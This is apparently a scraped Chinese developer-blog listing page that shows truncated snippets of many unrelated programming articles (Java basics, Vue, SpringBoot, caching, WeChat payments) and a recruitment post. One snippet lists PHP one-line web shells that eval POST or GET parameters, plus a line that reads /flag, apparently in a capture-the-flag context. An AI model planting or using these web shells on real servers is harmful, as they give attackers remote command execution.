Java

人才招聘

这是一遍招聘启事 我们公司由于近两年发展飞速,对人才也越来越渴望,一直在招聘网站上寻找优秀的人才,可是很久才能找到一两个。公司不大,人才不能受限于人事。 我们金烛科技在苏州、南昌均有招聘岗位,自研的工业互联网平台,大家有合适的人才也可以多多推荐给我,最好制造行业相关的经验。以下是招聘信息,可发邮件至我邮箱771789483@qq.com,收到的每一份简历将尽心对待。  岗位一:系统架构师

各种语言的一句话木马

各种语言的一句话木马 PHP 上传xx.php 内容: 1.<?php @eval($_POST['shell']);?> 2.<?php @eval($_GET['shell']);?> 3.<?php phpinfo();?> 4.<?php readfile('/flag');?>//读取文件 请求: shell参数为需要执行的linux命令或

java之Socket通信,Socket服务端返回数据,基本数据类型占用字节数。

参考:https://blog.csdn.net/qq_43842093/article/details/129964892https://blog.csdn.net/weixin_42408447/article/details/126437276数据类型占用字节数: 服务端: 客户端: 调用socket.close()或者socket.shutdownOutput()方法,通

周三 jsp

恢复正常 继续学习  

学习JavaScript的大纲

学习 JavaScript 的大纲可以分为初级、中级和高级三个部分。下面是一个详细的学习大纲: 初级 JavaScript 简介 JavaScript 的历史和发展 浏览器中的 JavaScript 和 Node.js 的区别 基本语法 变量声明 (var, let, const) 数据类型 (字符串、数字、布尔值、undefined、null、Symbol 等) 运算符 控制

JavaScript 对象和 JSON 的区别

参考原文:https://blog.csdn.net/jiaojiao772992/article/details/77871785/ 2.1 对象和 JSON 的区别 JSON 就是 JavaScript object notation ,JS对象表示法,是JS对象的严格子集。 区别就是引号:JSON要求所有的属性名(键)必须加 双引号“”,而JS对象实际上不要求双引号。 这就是一个标准JSON

在Vue中可以使用方括号法获得想要的对象数据吗?

1.问题 Document {{message}} {{school.name}}{{school[mobile]}} 在这里 {{school.name}}{{school[mobile]}}不可以使用方括号法获得想要的对象数据吗? 2.解决 在Vue.js中,使用双花括号({{

同时安装jdk1.8和jdk11,jdk11不生效问题

    电脑之前安装的是1.8,后来又安装了jdk11,各种环境都配置好后,java -version版本,一直显示1.8   网上最后,查到一个解决方法:           只需要打开path环境,把JAVA_HOME%bin上移到最上面就行!     参考:https://blog.csdn.net/zx1234578/artic

JavaScript用法

JavaScript 用法 HTML中的JavaScript脚本代码必须位于标签之间。Javascript 脚本代码可被放置在 HTML 页面的 和 部分中。 之间的代码包含了JavaScript 浏览器会解释并执行位于之间的JavaScript代码 中的JavaScript JavaScript 函数和事件 上述代码中的JavaScript语句,会在页面加载时执行。通常,我们需要在某个事件

vue sortablejs elementplus的虚拟表格进行列拖动问题

遇到的问题是,在对列进行拖动之后,data数据交换成功,但是列名称没有交换;如果使用Table 表格就不会有这种问题; 初始页面如下:  拖动列交换之后如下:  数据列已经交换了,但是表头没有交换; 解决方法如下: 初始化代码如下:   最初的代码如下: const initSort = () => { const wrapperTr = doc

java中 == 和 equals

== 操作符用于 基本数据类型 时是对 值 的比较,用于 对象 则是对 引用 的比较。equals是java.lang包中Object类中的一个方法。Obejct是所有类的超类,所有类的实例都可以调用equals方法。Object中的equals方法:默认也是对比的对象的引用。 String类中,重写了equals方法:如果引用相同,则相等。如果引用不同,再去对比值,如果值相同,则也是相等。

缓存面试解析:穿透、击穿、雪崩,一致性、分布式锁、Redis过期,海量数据查找

为什么使用缓存 在程序内部使用缓存,比如使用map等数据结构作为内部缓存,可以快速获取对象。通过将经常使用的数据存储在缓存中,可以减少对数据库的频繁访问,从而提高系统的响应速度和性能。缓存可以将数据保存在内存中,读取速度更快,能够大大缩短数据访问的时间,提升用户体验。 在业界中,通常在数据库之前添加一层Redis缓存,这样可以避免数据库的性能被大量的请求耗费。当有大量的并发请求时,数据库可

二、SpringBoot配置

SpringBoot配置文件 springBoot配置一般有application.properties、application.yml、application.yaml 优先级:properties>yml>yaml YAML:基本语法 大小写敏感 数据值前必须有空格作为分隔符 使用缩进表示层级关系 缩进时不允许使用Tab键,只允许使用空格(各个系统Tab键生成的缩进对应的空格数目

四、SpringBoot实现增删改查

一、新建项目 二、代码编写 项目结构 先在resource文件夹中创建application.yml编写数据库连接配置 在po包下编写user实体类 在dao包下编写UserDao.java接口 在service包下编写UserService.java接口 在service包下做UserService接口的实现类UserServiceImpl.java 在controller包下

微信小程序支付V2版之JSAPI支付

文章目录 一、微信支付环境搭建 1 企业微信小程序的开通 2. 企业商户号的开通 3 小程序号与商户号关联 二、微信小程序的支付流程 1 `JSAPI`支付流程 2 微信小程序获取`openid` 3 微信小程序下单 4 后台服务程序对订单的处理 5 微信小程序发起支付 6 支付结果的通知 三、微信支付API的使用 1 导入微信官方提供的SDK 2 控制器 四、总结

javaSE--面向对象

一、面向对象的三大特征 1、当我们采用面向对象的方式贯穿整个系统的话,涉及到三个术语:   OOA:面向对象分析   OOD:面向对象设计   OOP:面向对象编程 实现一个软件的过程:分析A---设计D---编程P 2、面向对象三大特征 封装、继承、多态   二、类 1、类和对象的概念   1)   类:实际上在现实世界当中不存在的,是一个抽象的概念。是一个模板。是我们人类进行思考总结

java.net.SocketTimeoutException:connect timed out...定时任务线程池错误:错误原因(Caused by)是sockettimeoutexception...

看到两个 ,一个是 网络超时 还有一个是 空指针 也有可能是网络接口设置了最大访问数。一次访问没有断开,达到上限就连不上了。要做好查询后断连接的操作 奇怪的是,一个程序sockettimeout。。为什么会导致其它程序所有的端口都启动不了呢? 参考1:https://zhuanlan.zhihu.com/p/616482565(java socket编程) 参考2:https://blog.c

JavaSE--对象的创建与使用

一、对象的创建及使用 1、创建使用 public class StudentTest{ public static void main(String[] args){ // 不能通过“类名”直接访问“实例变量” // System.out.println(Student.name); // s1这个局部变量叫做引用 Stude

使用 Vue 实现页面访问拦截

目录1 Vue 路由与导航守卫1.1 Vue 路由简介1.2 导航守卫概述2 实现访问拦截的核心概念2.1 路由守卫介绍2.1.1 前置守卫(beforeEach)2.1.2 后置钩子(afterEach)2.1.3 解析守卫(beforeResolve)2.2 鉴权逻辑设计2.3 登录验证机制3 实现页面访问拦截的步骤3.1 路由配置3.2 守卫函数编写3.3 拦截处理4 示例演示4.1 创建

什么是React?React与VU的优缺点有哪些?

什么是React?什么是VUE? 维基百科上的概念解释,Vue.js是一个用于创建用户界面的开源MVVM前端JavaScript框架,也是一个创建单页应用的Web应用框架。Vue.js由尤雨溪(Evan You)创建,由他和其他活跃的核心团队成员维护。 2016年一项针对JavaScript框架的调查表明,Vue有着89%的开发者满意度。在GitHub上,该项目平均每天能收获95颗星,为

JavaSE--this和static

一、static关键字 1、static static翻译为“静态的” 所有static关键字修饰的都是类相关的,类级别的 所有static修饰的,都通过“类名.”的方式访问 static修饰的变量:静态变量 static修饰的方法:静态方法 成员变量分为:实例变量、静态变量 class VarTest{ // 以下实例的,都是对象相关的,访问时采用“引用.”的方式访问,需要先new对

Android13冻结进程分析:如何提高设备性能和用户体验

Android13冻结进程分析:如何提高设备性能和用户体验 本文介绍了Android13中的冻结进程功能,它是一种重要的资源管理策略,可以提高系统性能和稳定性,同时最大限度地节省设备的资源和电池消耗。 文章讨论了如何合理分配资源,包括CPU、内存等,以提高设备性能和用户体验。此外,文章还提到了冻结进程对应用程序线程的影响,并介绍了Android13与Android11的不同之处。 目前,Goo

JavaSE--封装

一、封装概念及作用 1、封装   现实生活中很多都是封装的,例如手机、笔记本电脑......外部有一个壳子保护内部的部件,保证内部的部件是安全的   封装之后对于我们使用者来说不需要了解内部的结构和关心内部的复杂,只需要使用就可以 2、封装的作用 保证内部结构的安全 屏蔽复杂,暴露简单 二、怎么封装   不在对外暴露复杂的数据,封装起来   对外只提供简单的操作入口 第一步:属性私有化(使用

JavaSE--继承

一、继承extends 1、继承的作用   基本作用:子类继承父类,代码可以得到复用   主要作用:因为有了继承关系,才有了后期的方法覆盖和多态机制 2、继承的语法结构 class 类名 extends 父类名{ 类体; } // 使用继承机制来解决代码复用问题。 // 继承也是存在缺点的:耦合度高,父类修改,子类受牵连。 public class ExtendsTest02{ publ

JavaSE--方法覆盖和多态

一、方法覆盖Override 1、什么时候使用Override   例如:以下代码:鸟儿在执行move方法时,最好输出“鸟儿在飞翔”,但是当前程序在执行move方法时,输出“动物在移动”,显然Bird子类继承来的方法无法满足需求   子类继承父类之后,当继承过来的方法无法满足当前子类的业务需求时,子类有权利进行重新编写方法 public class OverrideTest{ public

关于将预留单中增强字段带入物料凭证和会计凭证中

1、业务需求 预留中自定义文本字段“大项修”。根据预留创建物料凭证时,将该字段带入到物料凭证中,类似标准字段“项目文本”。并在物料凭证自动产生会计凭证后,将该字段带入到会计凭证行项目中。 其中需要解决以上三张凭证对该字段的界面显示,以及预留对该字段的维护。解决接口中用BAPI对创建预留,创建物料凭证的字段维护 2、前台界面增强 2.1、预留增强 增强RESB表,添加大项修字段ZSGTXT 在屏幕

jQuery中的Ajax

Ajax 是一种异步、无刷新(或者说局部页面刷新)技术。 1.$.ajax jQuery 调用 ajax 方法 格式:$.ajax({}); 参数: type:请求方式GET/POST url: 请求地址 url async:是否一步,默认是 true 表示异步 data:发送到服务器的数据 dataType:预期服务器返回的数据类型 contentType:设置请求头 success:

小程序环形进度条(基于l-circularProgress)

组件预览:  组件代码: <view class="progress-wrap"> <l-circularProgress :box-width="progressBoxWidth" :box-height="progressBoxWidth" :fontShow="false" progressColor="#fff5de" :lineWidth

JavaSE--多态在开发中的作用

一、多态在开发中的作用   1、降低程序的耦合度,提高程序的扩展力   public class Master(){     public void feed(Dog d){}     public void feed(Dog d){}   }   以上代码中:Master和Dog、Cat关系紧密,耦合度高,导致扩展力很差   public class Master(){     public v

@Constraint注解,做特殊的入参校验

 第一步:先建一个@interface Flag的注解校验类,注解相关的校验类为FlagValidate.Class:  第二步: 具体的校验类,校验方法: 第三步: 使用,在需要检验的字段上加上刚才新建的注解:   路在脚下

<<  <  828  829  830  831  832  833  834  835  836  837  838  >  >>